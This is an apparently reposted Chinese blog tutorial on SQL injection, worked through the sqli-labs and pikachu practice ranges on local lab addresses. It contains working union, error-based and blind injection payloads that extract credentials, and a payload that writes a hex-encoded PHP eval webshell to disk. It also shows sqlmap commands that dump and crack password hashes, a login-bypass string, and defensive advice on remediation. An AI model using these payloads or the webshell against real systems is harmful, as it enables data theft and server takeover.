IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> SQL注入漏洞攻防--sql labs -> 正文阅读

[大数据]SQL注入漏洞攻防--sql labs

SQL注入攻击原理

SQL注入攻击是一种对Web应用程序进行攻击的方法,它利用了应用程序对输入数据的不当过滤和验证,通过插入恶意的SQL语句来破坏数据库的完整性。

SQL注入攻击的目的通常是为了获取数据库的敏感信息,或者执行恶意操作,如删除数据库中的表。为了防止SQL注入攻击,应用程序应该对用户输入的数据进行严格的过滤和验证,避免执行未经授权的SQL语句。

SQL注入攻击分类

SQL 注入是 web 攻击手法最常见的攻击之一,按注入点、提交方式、和获取信息的方式不同分为以下几类:

(1) 根据注入点的不同分类

数字类型的注入

字符串类型的注入

(2) 根据提交方式的不同分类

GET 注入

POST 注入

COOKIE 注入

HTTP 注入

(3) 根据获取信息的方式不同分类

基于布尔的盲注

基于时间的盲注

基于报错的注入

union手工注入

union手工注入是指在知道数据库具体信息的情况下,利用union语句来进行攻击的一种方式。在union手工注入中,攻击者可以使用union语句来将两个不同的查询结果合并在一起,并且可以利用这种方式来提取数据库的信息。

例题:

- 联合注入查询,使用union

id=-1 ' union select 1,2,3 %23

//确定函数可用

id=-1 ' union select 1,2,group_concat(schema_name) from
information_schema.schemata %23 //获取数据库名

id=-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23

//获取表名

id=-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23

//获取列名

id=-1 ' union select 1,username,password from users %23 //

获取用户名密码

id=1

//回显正常

id=1'

//报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

id=1' order by 4 #

url编码

//用来猜解字段数 //这里如果报错不正常可以对#进行

//当测试3时没有报错,而测试4时报错:Unknown column '4' in 'order clause',说明字段数为3

information schema手工注入

information_schema (提纲)数据库是 MySQL 系统自带的数据库。

其中保存着关于 MySQL服务器所维护的所有其他数据库的信息。通过 information_schema 注入,我们可以将整个数据库内容全部窃取出来

例题同上。

基于函数报错手工注入

基于函数报错手工注入是一种SQL注入攻击的方法,它利用数据库函数的报错信息来获取数据库的信息,进而注入恶意的SQL代码来攻击数据库。

这种方法通常在数据库系统不能直接显示查询结果时使用,例如当查询结果中包含布尔值或数字时。在这种情况下,攻击者可以构造一个带有函数的查询,如果查询结果为真,则函数会返回一个报错信息,如果查询结果为假,则函数不会返回任何信息。通过观察函数返回的报错信息,攻击者就可以判断出查询的结果,并根据结果构造恶意的SQL代码进行注入攻击。

updataxml注入

载荷注入

insert注入

updata注入

delet注入

extractvalue()注入

例题:

less-4(基于错误的GET双引号字符型注入)

?id=1

?id=1'

?id=1"

//有回显

//没有反应

//页面报错,从报错信息中可以看出它的传参结构

根据报错信息判断出输入的内容被放到一组双引号和小括号中,所以在less-1的基础上修改单引号为双 引号+右括号即可

id=1") order by 4 #

id=-1") union select 1,2,group_concat(schema_name) from
information_schema.schemata %23 //获取数据库名

id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23

//获取表名

id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23

//获取列名

id=-1") union select 1,username,password from users %23 //

获取用户名密码

HTTP HEAD注入

Header注入是另一种SQL注入攻击方式,它通过插入恶意代码到HTTP头部来攻击Web应用程序。这种方法通常是通过插入恶意的Cookie来实现的,但也可以通过其他HTTP头部字段来实现。攻击者可以通过这种方法来提取敏感信息或者执行恶意操作。

(1)127.0.0.1和localhost使用burp抓不到数据包,这时使用ipconfig获得内网ip即可抓到数据包。

(2)使用burp抓取数据包即可获得并修改头信息。

(3)请求头X-FORWORDED-FOR是真实网站获取你的ip的途径。(A->缓存服务器(代理)->真实的网站)。

(4)安全问题建议:XFF请求头挂127.0.0.1。

7.手工盲注

什么是盲注?

盲注就是利用一些方法进行判断或者尝试这个过程就是盲注

盲注可以分为3类:

1.基于布尔的SQL盲注(这里就是True/False)

2.基于报错的SQL盲注

3.基于时间的SQL盲注

1.构造逻辑判断的SQL语句(基于布尔的SQL盲注)

在这里主要学的:

left()

substr()

ascii()

mid()

ord()等同ascii()

regexp正则表达式

like注入

例题:

与less-9完全相同,将单引号改为双引号即可

8.宽字节注入

宽字节是相对于ascII这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节

GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节

转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;Mysql中转义的函数addslashes,mysql_real_escape_string,mysql_escape_string 等,还有一种是配置magic_quote_gpc,不过 PHP 高版本已经移除此功能。

9. Mysql+ PHP手工获取webshel过程

1、使用单引号判断是否有注入点(报错说明存在注入点)

2、查询正在使用中的用户user、数据库(%27union%20select%20user(),database()+--+%20)

3、爆数据库所有表名('UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761+--+&Submit=Submit#)

4、爆user表下所有字段名“0x7573657273转码后是users”('UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit#)

5、查询列名user、password下的所有用户名和密码('UNION SELECT user,password from users+--+&Submit=Submit#)

6、加载C盘根目录下的root.ini文件('UNION SELECT 1,load_file('c:\\root.ini')+--+&Submit=Submit#)

7、一句话木马,在C盘根目录生成muma.php的木马文件(' union select 0x3C3F70687020406576616C28245F504F53545B2763686F70706572275D293B3F3E,2 into outfile 'c:/muma.php'+--+&Submit=Submit#)

10. Access手工注入

Access手工注入是一种网络安全攻击方法,用于在不被授权的情况下获取数据库中的信息。此方法通常用于攻击使用Microsoft Access数据库的Web应用程序。

这种攻击通过提交恶意数据(即注入)到Web应用程序中,以便绕过应用程序的安全措施,并在数据库中执行未授权的操作。这种攻击的目的是为了访问数据库中的敏感信息,例如用户名和密码。

举个例子,假设有一个Web应用程序,其中使用了Microsoft Access数据库,并具有一个登录表单,其中需要输入用户名和密码。攻击者可能会尝试注入恶意数据,以便绕过应用程序的安全措施,并访问数据库中的敏感信息。

例如,攻击者可能会尝试使用恶意数据登录表单,如下所示:

用户名:' OR '1'='1

密码:' OR '1'='1

如果应用程序的安全措施不足,则这些恶意数据可能会被注入到数据库中,并执行未授权的操作。

防止Access手工注入攻击的一些措施包括:

使用参数化查询:这是最简单的方法,用于防止注入。参数化查询将查询中的参数作为单独的值传递,而不是将它们作为查询的一部分。这样,攻击者就无法在查询中注入恶意数据。

对输入数据进行过滤和验证:应该在应用程序中实施机制,以验证输入数据的有效性。这可以防止攻击者提交恶意数据,从而防止注入。

使用存储过程:使用存储过程可以防止攻击者注入恶意数据。存储过程是在数据库中预先定义的程序,可以在应用程序中调用。存储过程中的参数是已知的,因此攻击者无法将恶意数据注入到存储过程中。

加强数据库安全:应该采取措施来加强数据库的安全性,例如使用强密码、定期更改密码以及启用数据库审计功能。这些措施可以防止攻击者获得数据库访问权限,从而防止注入攻击。

这些措施都可以帮助防止Access手工注入攻击,从而保护应用程序

11.MSSQL注入

MSSQL注入是指利用SQL注入漏洞来攻击Microsoft SQL Server数据库的一种攻击方式。这种攻击通过向数据库执行恶意的SQL语句来实现。

注入攻击是一种常见的Web应用程序安全漏洞,可以通过提交带有恶意代码的输入数据来对数据库执行任意操作。这些恶意代码可以使用特殊字符或语法来绕过应用程序的安全措施,并执行任意的SQL命令。

为了防止MSSQL注入攻击,需要采取以下措施:

使用参数化查询或预处理语句,以避免直接将用户输入的数据作为SQL语句的一部分。

对用户输入的数据进行有效的过滤和验证,以确保它们不包含恶意代码。

使用较强的数据库访问权限控制机制,限制数据库用户的操作权限。

定期执行安全测试,以发现并修复潜在的SQL注入漏洞。

注意:在确保网站安全的同时,也要注意不要对其他网站或系统进行攻击,这是违法的行为。

12.Sql注入漏洞修复

为了修复SQL注入漏洞,可以采取以下措施:

使用参数化查询或预处理语句:这种方法可以将用户输入的数据当作参数来使用,而不是直接将它们作为SQL语句的一部分。这样可以有效地避免SQL注入攻击。

对用户输入的数据进行有效的过滤和验证:可以使用正则表达式或其他方法来验证用户输入的数据,确保它们不包含恶意代码。

使用较强的数据库访问权限控制机制:可以限制数据库用户的操作权限,以防止未经授权的访问。

定期执行安全测试:应定期对应用程序进行安全测试,以发现并修复潜在的SQL注入漏洞。

使用Web应用程序防火墙(WAF):WAF可以帮助检测和阻止攻击者尝试利用SQL注入漏洞进行攻击。

注意:为了最大程度地保护网站,应该结合使用这些方法,并定期进行安全更新。

13.sqlmap注入使用

SQLMap简介

SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。

注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。

SQLMap采用了以下5种独特的SQL注入技术。
? 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
? 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否己执行(即页面返回时间是否增加)来判断。
? 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
??联合查询注入,在可以使用Union 的情况下的注入。. 堆查询注入,可以同时执行多条语句时的注入。

SQLMap 的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。

SQLMap安装

SQLMap的安装方式可以自己上网查找,本教程是利用KaliLinux上自带的SQLMap工具进行相关学习与实验,无需自己配置python等基础环境,较简单易上手。

sqlmap的简单使用

常用命令及参数

查看sqlmap的命令字帮助手册

-u "url" #检测注入点
--dbs #列出所有数据库的名称
--current-db #列出当前数据库的名称
-D #指定一个数据库
--table #列出所有表名
-T #指定表名
--columns #列出所有字段名
-C #指定字段
--dump #列出字段内容

post注入
-r xxx.txt #xxx.txt为http数据包

–cookie #指定cookie
–os-shell #获取shell
sqlmap -g “inurl:php?id=” #利用google自动搜索注入点

操作前准备

实验靶场——我这里的IP为192.168.0.75:本节实验靶场是在主系统上基于phpstudy搭建的一个pikachu靶场网站

注入工具——kali虚拟机,自带sqlmap工具

注意,win11和kali桥接到同一VMnet下。两者可以互相ping通。

pikachu靶场SQL,sqlmap解法

GET型输入

字符型注入(此处细说):

随便输入点什么

URL

http://192.168.0.75/pikachu/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2

1.寻找注入点

sqlmap -u "URL"

sqlmap -u "
http://192.168.0.75/pikachu/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2"
注意:-u后面的URL链接一定要加双引号,不加的话有时候get请求里会有(&)这个符号不加双引号的URL链接有这个符号就会报错
如果URL正确的话他会出现很多如下图的选项,这些可以按需要选择,如果看不懂的话可以全都输入y,然后按回车也是可以的

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=adpc4c17gjf...h4glgenleg'). Do you want to use those [Y/n] y
您尚未声明cookie,而服务器希望设置自己的cookie('HPESSID=adpc4c17gjf…h4glgenleg')。是否要使用这些[Y/n]Y
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
如果没有找到至少一种其他(潜在的)技术,建议只执行基本UNION测试。是否要减少请求数?[是/否]
[00:26:12] [INFO] testing for SQL injection on GET parameter 'name'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
[00:26:12][信息]测试GET参数“name”上的SQL注入
看起来后端DBMS是“MySQL”。是否要跳过特定于其他DBMS的测试负载?[是/否]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
对于剩余的测试,是否要包括所有扩展提供的级别(1)和风险(1)值的“MySQL”测试?[是/否]
GET parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
GET参数“name”易受攻击。你想继续测试其他(如果有的话)吗?[是/否](选n,其他都y)

如果出现如图这些信息,那么恭喜你该网站存在sql注入漏洞,就可以进行下一步操作,如果提示报错的话,可以看情况修改URL,或者该网站不存在sql 注入漏洞

找到输入点为name处

2.寻找当前数据库

sqlmap -u"URL" --current-db

sqlmap -u "
http://192.168.0.75/pikachu/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2" --current-db
# 查询该网站后台当前数据库 --current-db

数据库为pikachu

3.寻找数据库为pikachu的所有表

sqlmap -u "URL"?-D 数据库名 --tables

sqlmap -u "
http://192.168.0.75/pikachu/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables
# -D pikachu 指定数据库pikachu
#--tables 当有权限读取pikachu数据库中的表tables的时候,读取出表

4.寻找表中的所有字段:

sqlmap -u "URL" -D 数据库名 -T 表名 --columns

sqlmap -u "
http://192.168.0.75/pikachu/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns
#-T users 指定表名users
#--columns 当有权限读取表users中的列的时候读取表users中的列

5.寻找字段里面的值:

sqlmap -u "URL"?-D 数据库名 -T 表名-C 字段1,字段2 --dump

sqlmap -u "
http://192.168.0.75/pikachu/vul/sqli/sqli_str.php?name=11&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump
#-C username,password 指定读取列username和password中的字段内容
#--dump 抛出前面指定内容

recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
在“password”列中识别出可能的密码哈希
是否要将哈希存储到临时文件中,以便最终使用其他工具进行进一步处理[y/N]
do you want to crack them via a dictionary-based attack? [Y/n/q]
你想通过基于字典的攻击破解它们吗?[是/否]
using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '
/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
使用哈希方法“md5_generic_passwd”
你想用什么字典?
[1] 默认字典文件“
/usr/share/sqlmap/data/txt/wordlist”。tx_'(按Enter键)
[2] 自定义词典文件
[3] 包含字典文件列表的文件
do you want to use common password suffixes? (slow!) [y/N]
是否要使用通用密码后缀?(慢!)[是/否](选n,其他都y)

这里就看到账号密码了,sql数据库默认是对密码MD5加密的,sqlmap有个功能可以把列出来的密码自动解密,如图,选项选对了,选了yes的话就会对密码解密

搜索型注入

URL:

http://192.168.0.75/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2

命令:

sqlmap -u "http://192.168.0.75/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D pikachu -T users -C password --dump

xx型注入

URL:

http://192.168.0.75/pikachu/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2

命令:

sqlmap -u "http://192.168.0.75/pikachu/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C password --dump

盲注base on boolian

URL:

http://192.168.0.75/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2

命令:

sqlmap -u "http://192.168.0.75/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C password –dump

盲注base on time

URL

http://192.168.56.1/pikachu2/vul/sqli/sqli_blind_t.php?name=121&submit=1
sqlmap -u "http://192.168.56.1/pikachu2/vul/sqli/sqli_blind_t.php?name=121&submit=1" -D pikachu -T users -C password --dump

虽然耗时较长,但成功破译

#

POST型注入

insert/update注入

insert注入

URL

http://192.168.0.75/pikachu/vul/sqli/sqli_iu/sqli_reg.php

在注册账号处抓包

使用sqlmap

sqlmap -u "http://192.168.0.75/pikachu/vul/sqli/sqli_iu/sqli_reg.php" --data="username=1&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit" -D pikachu -T users -C password --dump

sqlmap -u "URL" --data="表单名和表单值(bp上直接复制粘贴)" -D 数据库名 -T 表名 -C 字段名 --dump

得到密码:

update注入

先登入进去一个注册的账号,然后点击修改个人信息

URL

http://192.168.0.75/pikachu/vul/sqli/sqli_iu/sqli_edit.php

填写信息后用bp抓包,点击submit

输入命令:

sqlmap -u "http://192.168.0.75/pikachu/vul/sqli/sqli_iu/sqli_edit.php" --data="sex=12&phonenum=12&add=12&email=12&submit=submit" -D pikachu -T users -C password --dump

sqlmap -u "URL" --data="sex=12&phonenum=12&add=12&email=12&submit=submit(把表单复制粘贴过来)" -D 数据库名-T 用户名 -C 字段1 --dump

这里一个一个试,1可以

得到密码

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-12-25 11:16:02  更:2022-12-25 11:18:02 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/22 18:27:18-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码